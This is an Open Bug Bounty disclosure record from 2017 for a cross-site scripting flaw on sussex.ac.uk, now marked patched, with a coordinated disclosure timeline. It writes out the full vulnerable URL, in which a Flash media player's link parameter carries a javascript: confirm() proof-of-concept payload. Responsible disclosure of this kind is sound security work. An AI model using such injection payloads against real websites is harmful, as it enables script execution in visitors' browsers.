sussex.ac.uk XSS vulnerability

2017-07-20T13:16:00
ID OBB:266104
Type openbugbounty
Reporter Thirup
Modified 2017-10-31T06:30:00

Description

Vulnerable URL:
https://www.sussex.ac.uk/video/mediaplayer.swf?file=http://content.bitsontherun.com/videos/bkaovAYt-364766.flv&autostart;=falseℑ=http://appsec.ws/ExploitDB/cMon.jpg&linkfromdisplay;=true&link;=javascript:confirm(/openbugbounty/);//&linktarget;=_blank&.swf
Details:

Description| Value
---|---
Patched:| Yes, at 31.10.2017
Latest check for patch:| 31.10.2017 06:30 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 16104
VIP website status:| Yes
Check sussex.ac.uk SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 20 July, 2017 13:16 GMT
Vulnerability existence verified and confirmed| 21 July, 2017 07:32 GMT
Generic security notifications sent to website owner| 21 July, 2017 07:32 GMT
Vulnerability details disclosed by researcher| 13 October, 2017 08:15 GMT
Vulnerability patched by the website owner| 31 October, 2017 06:30 GMT